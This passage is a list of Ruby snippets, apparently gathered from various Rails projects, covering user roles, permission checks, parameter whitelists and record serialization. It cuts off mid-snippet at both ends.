writer.write_boolean_value(\"clientApplicationsFromVerifiedPublisherOnly\", @client_applications_from_verified_publisher_only)\n writer.write_string_value(\"permissionClassification\", @permission_classification)\n writer.write_enum_value(\"permissionType\", @permission_type)\n writer.write_collection_of_primitive_values(\"permissions\", @permissions)\n writer.write_string_value(\"resourceApplication\", @resource_application)\n end", "def handle_role_def(role_def)\n if role_def.is_a? Hash\n app_type = role_def[:app_type]\n self.role_name = role_def[:role_name]\n self.for_user = role_def[:for_user]\n else\n self.role_name = role_def\n end\n\n self.app_type_id = if app_type\n Admin::AppType.active_app_types.find_by(name: app_type)&.id\n else\n item.current_user.app_type_id\n end\n\n raise FphsException, \"No active app type found in role definition for app type: #{app_type}\" unless app_type_id\n\n self.role_name = FieldDefaults.calculate_default(item, role_name) if role_name\n\n self.for_user = if for_user\n FieldDefaults.calculate_default(item, for_user)\n else\n item.current_user\n end\n\n self.for_user = case for_user\n when Integer\n User.active.find_by(id: for_user)\n when String\n User.active.find_by(email: for_user)\n else\n for_user\n end\n\n [role_name, app_type_id, for_user]\n end", "def admin_grant_permissions\n user = User.find(params[:id])\n authorize user\n\n # Super admin can grant any Perm, org admins can only grant Perms they\n # themselves have access to\n perms = if current_user.can_super_admin?\n Perm.all\n else\n current_user.perms\n end\n\n render json: {\n 'user' => {\n 'id' => user.id,\n 'html' => render_to_string(partial: 'users/admin_grant_permissions',\n locals: { user: user, perms: perms },\n formats: [:html])\n }\n }.to_json\n end", "def admin_app_params\n params.require(:app).permit(:name, :access_key, :secret_key, :permission_level, :enable)\n end", "def set_permissions(params, permissions_ds)\n # default to rightsMetadata (like standard Hydra) if permissions_ds isn't set\n permissions_ds = \"rightsMetadata\" if permissions_ds.to_s == \"\"\n perm_hash = permission_hash\n #params[:new_user_name].each { |name, access| perm_hash['person'][name] = access } if params[:new_user_name].present?\n params[:new_group_name].each { |name, access| perm_hash[\"group\"][name] = access } if params[:new_group_name].present?\n\n #params[:user].each { |name, access| perm_hash['person'][name] = access} if params[:user]\n params[:group].each { |name, access| perm_hash[\"group\"][name] = access} if params[:group]\n\n update_permissions(perm_hash, permissions_ds)\n end", "def custom_permissions\n #Collection Manager Permissions\n #Higher power than edit user...[Dont want edit users to be able to DELETE a COLLECTION??, (Delete a DO?)]\n if current_user.applicable_policy?(SETTING_POLICY_COLLECTION_MANAGER)\n #Marked as being able to :manage_collection\n can :manage_collection_flag, :all\n can :create, [DRI::Batch, DRI::GenericFile]\n end\n\n\n #Admin Permissions\n if current_user.applicable_policy?(SETTING_POLICY_ADMIN)\n can :admin_flag, :all\n #Disabled for now..\n can :manage, :all\n end\n\n #Create_do flag (alias for :edit collection)\n can :create_do, String do |pid|\n test_create(pid)\n end\n\n can :create_do, DRI::Batch do |collection|\n test_create(collection)\n end\n end", "def initialize(params)\n raise 'No companyid given' unless (params[:companyid] or params[:company])\n raise 'No name given' unless params[:name]\n\n super(params)\n\n # COPY role_ (roleid, companyid, classnameid, classpk, name, description, type_) FROM stdin;\n # +10151\t10109\t0\t0\tRegular role\tThis role is a test\t1\n\n self.classnameid ||= 0\n self.classpk ||= 0\n self.description ||= ''\n # Type: 1 = regular, 2 = community, 3 = organization\n self.type_ ||= 1\n\n self.save\n\n # Resource with code scope 1 is primkey'd to company.\n # Resource with code scope 4 is primkey'd to this role.\n\n # These are created regardless of what type_ is.\n\n # COPY resourcecode (codeid, companyid, name, scope) FROM stdin;\n # +29\t10109\tcom.liferay.portal.model.Role\t1\n # +30\t10109\tcom.liferay.portal.model.Role\t4\n\n [1,4].each do |scope|\n rc = self.resource_code(scope)\n unless rc\n ResourceCode.create(\n Company.primary_key => self.companyid,\n :name => self.liferay_class,\n :scope => scope\n )\n end\n end\n\n # COPY resource_ (resourceid, codeid, primkey) FROM stdin;\n # +33\t29\t10109\n # +34\t30\t10151\n\n self.get_resource(:scope => 1)\n r = self.get_resource(:scope => 4)\n\n # Permissions (given to administrators)\n\n # COPY permission_ (permissionid, companyid, actionid, resourceid) FROM stdin;\n # +70 10109 ASSIGN_MEMBERS 34\n # +71 10109 DEFINE_PERMISSIONS 34\n # +72 10109 DELETE 34\n # +73 10109 MANAGE_ANNOUNCEMENTS 34\n # +74 10109 PERMISSIONS 34\n # +75 10109 UPDATE 34\n # +76 10109 VIEW 34\n\n # COPY users_permissions (userid, permissionid) FROM stdin;\n # +10129\t70\n # +10129\t71\n # +10129\t72\n # +10129\t73\n # +10129\t74\n # +10129\t75\n # +10129\t76\n\n self.class.actions.each do |actionid|\n p = Permission.get(\n :companyid => self.companyid,\n :actionid => actionid,\n :resourceid => r.id\n )\n self.company.administrators.each do |user|\n user.permissions << p\n end\n end\n end", "def create\n @user = User.where(:name => params[:user][:name]).first\n if @user.nil?\n @user = User.new\n flash[:notice] = '用户不存在!'\n respond_to do |format|\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n return\n end\n \n if @user.admin\n @user = User.new\n flash[:notice] = '用户已经是管理员!'\n respond_to do |format|\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n return\n end\n \n select_roles = params[:user_roles]\n select_roles.each do |role_id|\n @user.user_roles.create(:role_id => role_id)\n end unless select_roles.nil?\n \n @user.admin = true\n \n respond_to do |format|\n if @user.save\n @user.roles.joins(:permissions).select('permissions.controller_name,permissions.action_name,permissions.rest,roles.app_id').each do |record|\n UserVisit.create :controller_name => record.controller_name, :action_name => record.action_name, :rest => record.rest, :app_id => record.app_id, :user_id => @user.id\n end\n format.html { redirect_to admin_role_path(@user), notice: '权限新建成功.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_legacy_ingest_payload( rt_overrides, dirname, solr_doc, fedora_doc )\n\n\n payload = {}\n\n #\n # add all the required fields\n #\n\n # date and time attributes\n create_date = solr_doc.at_path( 'system_create_dt' )\n payload[ :create_date ] = create_date if create_date.present?\n modified_date = solr_doc.at_path( 'system_modified_dt' )\n payload[ :modified_date ] = modified_date if modified_date.present?\n\n # resource type\n rt = determine_resource_type( rt_overrides, solr_doc )\n payload[ :resource_type ] = rt if rt.present?\n\n # title\n title = extract_title( payload, solr_doc, fedora_doc )\n payload[ :title ] = title if title.present?\n\n # abstract\n abstract = extract_abstract( payload, solr_doc, fedora_doc )\n payload[ :abstract ] = abstract if abstract.present?\n\n # author\n payload[ :authors ] = []\n author_number = 0\n while true\n added, payload[ :authors ] = add_author( solr_doc, author_number, payload[ :authors ] )\n break unless added\n author_number += 1\n end\n\n # document contributor\n payload[ :contributors ] = []\n contributor_number = 0\n while true\n added, payload[ :contributors ] = add_contributor( solr_doc, contributor_number, payload[ :contributors ] )\n break unless added\n contributor_number += 1\n end\n\n # issue date\n issued_date = extract_issued_date( payload, solr_doc, fedora_doc )\n payload[ :issued ] = issued_date if issued_date.present?\n\n # embargo attributes\n embargo_type = IngestHelpers.solr_first_field_extract(solr_doc, 'release_to_t' )\n payload[ :embargo_type ] = embargo_type if embargo_type.present?\n release_date = IngestHelpers.solr_first_field_extract(solr_doc, 'embargo_embargo_release_date_t' )\n payload[ :embargo_release_date ] = release_date if release_date.present?\n\n # document work source\n payload[ :work_source ] = solr_doc.at_path( 'id' )\n\n # related URL's\n related_urls = extract_related_url( payload, solr_doc, fedora_doc )\n payload[ :related_url ] = related_urls if related_urls.present?\n\n # sponsoring agency\n agencies = extract_sponsoring_agency( payload, solr_doc, fedora_doc )\n payload[:sponsoring_agency] = agencies if agencies.present?\n\n #\n # handle optional fields\n #\n\n # keywords\n keywords = solr_doc.at_path( 'subject_topic_t' )\n payload[ :keywords ] = keywords if keywords.present?\n\n # language\n languages = IngestHelpers.solr_all_field_extract(solr_doc, 'language_lang_code_t' )\n languages = languages.map { |l| IngestHelpers.language_code_lookup( l ) } if languages.present?\n payload[ :language ] = languages if languages.present?\n\n # notes\n notes = extract_notes( payload, solr_doc, fedora_doc )\n payload[ :notes ] = notes if notes.present?\n\n # publisher attributes\n publisher = extract_publisher( payload, solr_doc, fedora_doc )\n payload[ :publisher ] = publisher if publisher.present?\n publish_location = extract_publish_location( payload, solr_doc, fedora_doc )\n payload[ :publish_location ] = publish_location if publish_location.present?\n publish_date = extract_publish_date( payload, solr_doc, fedora_doc )\n payload[ :publish_date ] = publish_date if publish_date.present?\n\n # ISBN & ISSN\n isbn = extract_isbn( payload, solr_doc, fedora_doc )\n payload[ :isbn ] = isbn if isbn.present?\n issn = extract_issn( payload, solr_doc, fedora_doc )\n payload[ :issn ] = issn if issn.present?\n\n # conference attributes\n conference_title = extract_conference_name( payload, solr_doc, fedora_doc )\n payload[ :conference_title ] = conference_title if conference_title.present?\n conference_location = extract_conference_location( payload, solr_doc, fedora_doc )\n payload[ :conference_location ] = conference_location if conference_location.present?\n conference_date = extract_conference_date( payload, solr_doc, fedora_doc )\n payload[ :conference_date ] = conference_date if conference_date.present?\n\n # page attributes\n start_page = extract_start_page( payload, solr_doc, fedora_doc )\n payload[ :start_page ] = start_page if start_page.present?\n end_page = extract_end_page( payload, solr_doc, fedora_doc )\n payload[ :end_page ] = end_page if end_page.present?\n\n # journal attributes\n journal_title = extract_journal_name( payload, solr_doc, fedora_doc )\n payload[ :journal_title ] = journal_title if journal_title.present?\n journal_volume = extract_journal_volume( payload, solr_doc, fedora_doc )\n payload[ :journal_volume ] = journal_volume if journal_volume.present?\n journal_issue = extract_journal_issue( payload, solr_doc, fedora_doc )\n payload[ :journal_issue ] = journal_issue if journal_issue.present?\n journal_year = extract_journal_year( payload, solr_doc, fedora_doc )\n payload[ :journal_publication_year ] = journal_year if journal_year.present?\n\n # edited book attributes\n payload[ :editors ] = []\n editor_number = 0\n while true\n added, payload[ :editors ] = add_editor( solr_doc, editor_number, payload[ :editors ] )\n break unless added\n editor_number += 1\n end\n\n # special case...\n if payload[ :publish_date ].blank? && payload[:conference_date].present?\n payload[ :publish_date ] = payload[:conference_date]\n end\n\n # construct the citation\n payload[ :citation ] = CitationHelpers.construct( payload )\n\n return payload\n end", "def CreateRole params = {}\n \n APICall(path: 'custom_roles.json',method: 'POST',payload: params.to_json)\n \n end", "def permissions(*constraints)\n _permissions = {\n super_admin: self.super_admin?,\n digital_store_admin: self.digital_store_admin?,\n group_admin: self.group_admin?,\n event_admin: self.event_admin?,\n photo_approval_admin: self.photo_approval_admin?,\n club_admin: self.club_admin?,\n india_admin: self.india_admin?,\n }\n\n independent_roles = self.user_roles.joins(:role).where(roles: {role_type: Role.role_types.independent})\n\n independent_roles.each do |independent_role|\n _permissions[independent_role.role.name] ||= true\n end\n\n if constraints.present?\n constraints.each do |constraint|\n next unless constraint.class.ancestors.include?(ActiveRecord::Base)\n\n role_dependencies = self.role_dependencies.includes({user_role: [:role]}).where(role_dependencies: {role_dependable_type: constraint.class.to_s, role_dependable_id: constraint.id})\n\n selected_role_dependencies = role_dependencies.select do |role_dependency|\n !role_dependency.is_restriction || (role_dependency.start_date..role_dependency.end_date).include?(Date.today)\n end\n\n selected_role_dependencies.each do |role_dependency|\n _permissions[role_dependency.user_role.role.name] ||= true\n end\n end\n end\n\n ActiveSupport::HashWithIndifferentAccess.new(_permissions)\n end", "def custom_permissions\n can [:file_status, :stage, :unstage], FileSet\n\n if current_user.ingest_from_external_sources?\n end\n\n if current_user.manage_users?\n can [:show, :add_user, :remove_user, :index], Role\n end\n\n if current_user.manage_roles?\n can [:create, :show, :index, :edit, :update, :destroy], Role\n end\n\n if current_user.run_fixity_checks?\n can [:fixity], FileSet\n end\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end", "def load_permissions\n \n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]}\n end", "def create\n @company = Company.find(params[:company_id])\n @role = Role.find(params[:role_id])\n access_right_hash = params[:access_right]\n \n if current_user.super_admin\n is_ok = true\n else\n current_user.roles.each { |r|\n r.access_rights.each { |ar|\n puts access_right_hash['model_name']\n if ar.model_name == access_right_hash['model_name'] && ar.action == access_right_hash['action']\n is_ok = true\n end\n }\n }\n end\n \n respond_to do |format|\n if is_ok\n @access_right = @role.access_rights.create(params[:access_right])\n @access_right.company_id = current_user.company_id\n @access_right.save\n format.html { redirect_to company_role_path(@company, @role) }\n else\n format.html { redirect_to company_role_path(@company, @role), notice: 'Usted no puede conceder este permiso.' }\n end\n end\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_boolean_value(\"allowedToCreateApps\", @allowed_to_create_apps)\n writer.write_boolean_value(\"allowedToCreateSecurityGroups\", @allowed_to_create_security_groups)\n writer.write_boolean_value(\"allowedToCreateTenants\", @allowed_to_create_tenants)\n writer.write_boolean_value(\"allowedToReadBitlockerKeysForOwnedDevice\", @allowed_to_read_bitlocker_keys_for_owned_device)\n writer.write_boolean_value(\"allowedToReadOtherUsers\", @allowed_to_read_other_users)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_collection_of_primitive_values(\"permissionGrantPoliciesAssigned\", @permission_grant_policies_assigned)\n writer.write_additional_data(@additional_data)\n end", "def api_perms\n ident = :api\n text = 'API Permissions'\n desc = 'All permissions that have to do with the API.'\n options = [:true, :false, :flow]\n def_option = :flow\n\n api_global = write_permission_group(ident, text, desc, options, def_option)\n\n ActiveRecord::Base.descendants.each do |m|\n next unless m.included_modules.include?(GraphQL::QLModel)\n root = write_permission_group(hashify(m), m.to_s, 'Actions corresponding to ' + m.to_s.pluralize, options, def_option)\n\n see = write_permission_group(:see, 'Viewable Fields', 'Regulate which fields of this model a user can see.', options, def_option)\n\n m.graph_fields.each do |f|\n g = write_permission(\"View #{f}\", \"Allow the user to see #{f}.\", hashify(f), options, def_option)\n g.add_to_group(see)\n end\n\n see.add_to_group(root)\n\n find_by = write_permission_group(:query, 'Query By', 'Regulate which fields of this model a user query by.', options, def_option)\n\n m.graph_finders.each do |f|\n finder = write_permission(\"Query by #{f}\", \"Allow the user to query by #{f}.\", hashify(f), options, def_option)\n finder.add_to_group(find_by)\n end\n\n find_by.add_to_group(root)\n\n root.add_to_group(api_global)\n end\n\n mutations = write_permission_group(:mutations, 'Mutations', 'Regulate which mutations a user can perform.', options, def_option)\n\n AvicusSchema.types.each do |f|\n f.each do |a|\n next unless a.is_a?(GraphQL::ObjectType) && a.name.include?('Payload')\n mut = a.name.gsub('Payload', '')\n write_permission(\"Execute #{mut}\", \"Allow the user to execute the #{mut} mutation.\", hashify(mut), options, def_option).add_to_group(mutations)\n end\n end\n\n mutations.add_to_group(api_global)\n\n global_options = {\n text: text,\n desc: desc,\n options: options,\n def_option: def_option\n }\n\n PermissionsGenerator.new('API', true, global_options, api_global, [])\nend", "def role_params\n params.require(:role).permit(:name, :protected, :superadmin, :administrator, :default_user, :guess, :custom, :description)#DO NO DELETE THIS COMMENT\n end", "def permit_params\n params.require(:permit).permit(:permit_type, :applicant_name, :start_date, :end_date, :address, :payload, :geometry)\n end", "def create\n abilities = []\n client_application = current_user.client_application_id.to_s\n @abilities = Role.get_method_names.sort\n @role = Role.new(role_params)\n params[:role][:role_abilities].each do |ability|\n abilities << ability.to_sym\n end\n @role.role_abilities = [{\"action\"=> abilities, \"subject\"=>[:api]}]\n @role.client_application_id = client_application\n respond_to do |format|\n if @role.save\n format.html { redirect_to roles_path, notice: 'Role was successfully created.' }\n format.json { render :index, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end", "def export\n {\n ftype: type,\n role: role,\n name: name,\n sample_types: allowable_field_types.collect { |aft| aft.sample_type ? aft.sample_type.name : nil },\n object_types: allowable_field_types.collect { |aft| aft.object_type ? aft.object_type.name : nil },\n part: part ? true : false,\n array: array ? true : false,\n routing: routing,\n preferred_operation_type_id: preferred_operation_type_id,\n preferred_field_type_id: preferred_field_type_id,\n choices: choices\n }\n end", "def load_permissions\n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]}\n end", "def build_resource_and_document\n manifest = @resource.iiif_manifests.first # See /models/spotlight/resources/vault_iiif_manifest.rb\n manifest.with_exhibit(@resource.exhibit)\n manifest.with_resource(@resource)\n @resource.data = manifest.manifest_metadata.transform_values { |v| v.first } # We want to index the SolrDocument with a multiple value ({ k => ['v'] }\n end", "def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\nif current_user.admin?\n\t can [:create, :show, :add_user, :remove_user, :index], Role\n\t end\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n\n\n end", "def role_permission_params\n params.require(:role_permission).permit(:role_id, :permission_id, :hierarchy_id, :hierarchy_type)\n end", "def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n end\n\n# if current_user.contentadmin?\n# can [:create, :destroy], GwWork\n# can [:create, :destroy], GwEtd\n# end\n end", "def role_params\n params.require(:role).permit(:name, :content, :is_admin, :role_status)\n end", "def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n # Admin user can create works of all work types\n can :create, curation_concerns_models\n end\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end", "def custom_permissions\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n can [:create], Collection\n can [:discover], Hydra::AccessControls::Embargo\n can [:discover], Hydra::AccessControls::Lease\n can [:create], [ CurationConcerns.config.curation_concerns ]\n can [:destroy], ActiveFedora::Base\n can [:permissions], [ CurationConcerns.config.curation_concerns ]\n end\n\n # Limits deleting objects to a the admin user\n #\n #if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n #end\n\n if current_user.has_role?('collection.manager')\n # can [:create, :show, :index, :edit, :update, :destroy], Collection\n can [:create], Collection\n end\n\n if current_user.has_role?('collection.depositor') or current_user.has_group_role?('collection.depositor')\n # can [:create, :show, :index, :edit, :update, :destroy], [ CurationConcerns.configuration.curation_concerns ]\n can [:create], [ CurationConcerns.config.curation_concerns ]\n # can [:show], Collection\n end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end", "def core_user_role_params\n params.require(:core_user_role).permit(:user_id, :role_id).merge({account_id: current_account.id, updater_id: current_user.id})\n end", "def dynamic_permissions(klass, namespace_name)\n klass = klass.constantize if klass.is_a?(String)\n konstraints = dynamic_constraints(klass, namespace_name)\n result = {}\n\n # Bail out early\n return result unless konstraints\n\n # Build the actual constraints\n konstraints.each do |konstraint|\n konstraint.my_actions.each do |this_konstraint|\n result[this_konstraint] = {\n action: this_konstraint.to_s,\n klass: konstraint.my_klass,\n description: constraint_description(klass, konstraint, this_konstraint),\n namespace: konstraint.my_namespace,\n restricted: konstraint.my_restrictions.present?,\n restrict_by: konstraint.my_restrictions\n }\n end\n end\n result\n end", "def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role if current_user.admin?\n\n can [:fa_overview], ActiveFedora::Base\n can [:advanced], ActiveFedora::Base\n can [:streets], ActiveFedora::Base\n can [:pdf_page], ActiveFedora::Base\n can [:pdf_page_metadata], ActiveFedora::Base\n can [:bookreader], ActiveFedora::Base\n can [:imageviewer], ActiveFedora::Base\n can [:streetsviewer], ActiveFedora::Base\n can [:fa_series], ActiveFedora::Base\n can [:audio_transcriptonly], ActiveFedora::Base\n can [:video_transcriptonly], ActiveFedora::Base\n end", "def permission_params\n params.require(:permission).permit(:subjuct_class, :action, :name, :description)\n end", "def create\n @role = Role.new(role_params)\n\n # create a Array of action object from each line from table\n respond_to do |format|\n if @role.save\n @i = 0;\n @role.permissions = params[:role][:permission].values.map do |action_p|\n @p = Permission.new(action_p)\n if @p.new || @p.edit || @p.remove then @p.index = true end\n @p.session = @i\n @i = @i + 1\n @p\n end\n @role.save\n format.html { redirect_to management_roles_path }\n format.json { render json: @role, status: :created }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end", "def role_permissions=(value)\n @role_permissions = value\n end", "def admin_grant_permissions\n @user = User.includes(:perms).find(params[:id])\n authorize @user\n user_perms = current_user.perms\n @perms = user_perms & [Perm.grant_permissions, Perm.modify_templates, Perm.modify_guidance, Perm.use_api, Perm.change_org_details]\n end", "def save_permissions(role_ids)\n permissions.map{|perm| perm.delete } unless permissions.nil?\n unless role_ids.nil?\n role_ids.each do |permission| \n p = Permission.new(JSON.parse(permission))\n (p.class.reflect_on_all_associations(:has_many) & p.class.reflect_on_all_associations(:has_and_belongs_to_many)).each { |association|\n permissions << Permission.new(\n :role_id => id,\n :controller => association.class_name.singularize,\n :ability => p.ability\n )\n }\n permissions << p\n end\n end\n end", "def role_params\n {}\n end", "def perms_for(pathname, options = {})\n if @permissions.nil?\n @permissions = {}\n# find root name and get all rules, that are for descendent of root.\n# There can be more than one root, because each site can have its own root\n root = pathname.root.to_s.sub(Rails.root.join('public').to_s,'')\n DcFolderPermission.where(folder_name: /#{root}*/).sort(folder_name: 1).each do |permission|\n folder = permission.folder_name.sub(root,'')\n folder.gsub!(/^\\/|\\/$/, '')\n# root is always ., remove leading and trailing /\n folder = '.' if folder.blank?\n# no rights by default. \n h = {read: false, write: false, rw: false, inherited: permission.inherited}\n# go through policy_rules and set rights if role matches rules role \n permission.dc_policy_rules.each do |r|\n @options[:user_roles].each do |role|\n next unless role == r.dc_policy_role_id\n h[:read] ||= r.permission > 0\n h[:write] ||= r.permission > 1\n h[:rw] ||= r.permission > 8\n end\n @permissions[folder] = h \n end\n end\n end\n# create response. First check for defaults of root folder\n response = {}\n response[:read] = pathname.exist? && @permissions['.'][:read]\n response[:write] = pathname.exist? && @permissions['.'][:write]\n response[:rm] = !pathname.is_root? && @permissions['.'][:rw]\n dir = ''\n# go through every subfolder part. Policy is: if right has been revoked on \n# parent folder it can't be set on child unless inherited is false.\n pathname.path.to_s.split('/').each do |path|\n dir << (dir.size > 0 ? '/' : '') + path\n pe = @permissions[dir]\n next if pe.nil? # ignore if not set\n if pe[:inherited]\n response[:read] &&= pe[:read]\n response[:write] &&= pe[:write]\n response[:rm] &&= pe[:rw]\n else\n response[:read] = pe[:read]\n response[:write] = pe[:write]\n response[:rm] = pe[:rw]\n end \n end\n response[:hidden] = false\n response\nend", "def mass_assign_protected_attributes\n @admin.systems_enabled = params[:admin][:systems_enabled] || []\n @admin.active = params[:admin][:active]\n @admin.permissions_attributes = params[:admin][:permissions_attributes] || {}\n @admin.can_act_as_customer = params[:admin][:can_act_as_customer]\n @admin.can_change_prices = params[:admin][:can_change_prices]\n @admin.limited_sales_rep = params[:admin][:limited_sales_rep]\n @admin.updated_by = current_admin.email\n end", "def get_permissions\n permissions = Hash.new\n permissions[:CanEditAllTeams] = 1\n permissions[:CanEditAllPlayers] = 2\n permissions[:CanEditAllSeasons] = 3\n permissions[:CanEditAllDivisions] = 4\n permissions[:CanEditAllRatings] = 5\n permissions[:CanEditAllRoles] = 6\n permissions[:CanEditAllPermissions] = 7\n permissions[:CanImport] = 8\n permissions[:CanApproveRatings] = 10\n @permissions = permissions\n end", "def add_training_admin_to_params\n current_user.has_role?(:admin) ? training_request_params : merge_next_ta_in_queue\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"appScope\", @app_scope)\n writer.write_string_value(\"appScopeId\", @app_scope_id)\n writer.write_string_value(\"condition\", @condition)\n writer.write_object_value(\"directoryScope\", @directory_scope)\n writer.write_string_value(\"directoryScopeId\", @directory_scope_id)\n writer.write_object_value(\"principal\", @principal)\n writer.write_string_value(\"principalId\", @principal_id)\n writer.write_object_value(\"roleDefinition\", @role_definition)\n writer.write_string_value(\"roleDefinitionId\", @role_definition_id)\n end", "def build_resource_params\n parameters = permitted_params || params\n rparams = [parameters[resource_request_name] || parameters[resource_instance_name] || {}]\n if without_protection_given?\n rparams << without_protection\n else\n rparams << as_role if role_given?\n end\n\n rparams\n end", "def permission_resources\n %w{roles sites employees classrooms students gapps_org_units}\n end", "def sub_admin_params\n params.require(:admin).permit(:username, :first_name, :last_name, :email, :mobile, :address, :privilages, :can_reset_password, :can_generate_code, :can_add_product, :can_add_place)\n end", "def write_build_roles(path)\n docker_run_list.expanded_run_list_roles.each do |role|\n r = Chef::Resource::File.new(::File.join(path, \"#{role}.json\"), run_context)\n r.content(Chef::Role.load(role).to_json)\n r.run_action(:create)\n end\n end", "def setup_perms\n perms = []\n controller_actions(perms)\n model_actions(perms)\n perms << cat_perms\n perms << api_perms\n puts 'Permissions gathering finished...'\n puts \"Permissions were loaded from #{perms.size} classes.\"\n return perms\nend", "def create\n\n @roles_and_permission = @roles.roles_and_permission.new(params[:roles_and_permission])\n \n respond_to do |format|\n if @roles_and_permission.save\n format.html { redirect_to [@roles, @roles_and_permission ], notice: 'Roles and permission was successfully created.' }\n format.json { render json: @roles_and_permission, status: :created, location: @roles_and_permission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @roles_and_permission.errors, status: :unprocessable_entity }\n end\n end\n end", "def permission_mapping\n super.merge(\n {\n 'index_role_screen' => 'index',\n 'index_role_field' => 'index',\n 'index_user_screen' => 'index',\n 'index_user_field' => 'index',\n 'fetch_row' => 'index'\n }\n )\n end", "def build_register_payload(settings)\n puts 'Building REGISTER payload.'\n \n group_id= Env.instance['GROUP_ID']\n public_key = get_public_key\n root_public_key = get_root_public_key\n return if public_key.nil? || root_public_key.nil?\n return {\n group_id: group_id,\n password: Env.instance['GROUP_PASSWORD'],\n public_key: public_key,\n app_type: Env.instance['NODE_APP_TYPE'],\n config: settings.to_json,\n ip_addr: Env.instance['NODE_HOST'],\n port: Env.instance['NODE_PORT'],\n master_password: Env.instance['MASTER_PASSWORD'],\n root_public_key: root_public_key\n }.merge(ClusterProxy::Slave.get_resource_usage)\n end", "def setup_role role_kind:, role:\n role_info = extract_role_attrs role: role\n role_name = role_info[:role_name]\n version = role_info[:version]\n created_at = role_info[:created_at]\n is_default = role_info[:is_default]\n is_composite = role_info[:is_composite]\n is_aggregable = role_info[:is_aggregable]\n aggregable_by = role_info[:aggregable_by]\n\n info \"-- Indexing [#{role_kind}] #{role_name}\"\n\n cache_aggregable_roles aggregable_by: aggregable_by, role_kind: role_kind, role_name: role_name\n\n namespace = role_kind == :Role ? role['metadata']['namespace'] : Krane::Rbac::Graph::Builder::ALL_NAMESPACES_PLACEHOLDER\n\n # caching role namespace scope\n @role_ns_lookup[role_name] = namespace if role_kind == :Role \n\n entry = {\n role_kind: role_kind,\n role_name: role_name\n }\n \n @defined_roles << entry # caching role as defined\n @default_roles << entry if is_default # cache default roles\n\n node :namespace, { name: namespace }\n node :role, { \n kind: role_kind, \n name: role_name, \n is_default: is_default, \n is_composite: is_composite,\n is_aggregable: is_aggregable, \n aggregable_by: aggregable_by.join(', '),\n version: version,\n created_at: created_at \n }\n edge :scope, { \n role_kind: role_kind, \n role_name: role_name, \n namespace: namespace \n }\n\n return if role_info[:rules].blank?\n\n # Iterating the Rules\n role_info[:rules].map {|rule| process_rule rule }.flatten.each do |rule|\n node :rule, { rule: rule }\n edge :grant, {\n role_kind: role_kind,\n role_name: role_name,\n rule: rule\n }\n edge :security, { rule: rule }\n end\n end", "def build_payload\n return nil unless valid?\n\n model_wrapper = self.class.singular_name.to_sym\n payload = {}\n wrapper = payload[model_wrapper] = {}\n\n self.schema.each do |name, attribute|\n if attribute.write_access?(self)\n value = attribute.value_or_default(self)\n required = attribute.required?(self)\n\n if required or !value.nil?\n wrapper[name] = value\n end\n end\n end\n\n payload\n end", "def update\n respond_to do |format|\n if @role.update(role_params)\n @role.permissions = params[:role][:permission].map do |key, value|\n index = value[\"index\"] == \"1\" ? true : false\n index = true if value[\"new\"] == \"1\" || value[\"edit\"] == \"1\" || value[\"remove\"] == \"1\"\n Permission.update(value[\"id\"], :index => index, :new => value[\"new\"], :edit => value[\"edit\"], :remove => value[\"remove\"], :import => value[\"import\"])\n end\n format.html { redirect_to management_roles_path }\n format.json { render json: @role, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end", "def grant_access_to(roles, options = {})\n roles = [roles].flatten\n options.assert_valid_keys(:if, :unless, :only, :except)\n unless (@roles_checked ||= false)\n @roles_checked = true\n before_filter :check_roles\n end\n\n # convert any actions into symbols\n [:only, :except].each do |key|\n if options.has_key?(key)\n options[key] = [options[key]].flatten.compact.collect{ |v| v.to_sym }\n end \n end\n self.role_requirements||=[]\n self.role_requirements << { :roles => roles, :options => options }\n end", "def edit\n @generic_file = ::GenericFile.new\n @generic_file.depositor = current_user.user_key\n @terms = terms - [:title, :format, :resource_type]\n\n h = {}\n @names = []\n permissions = []\n\n # For each of the files in the batch, set the attributes to be the concatination of all the 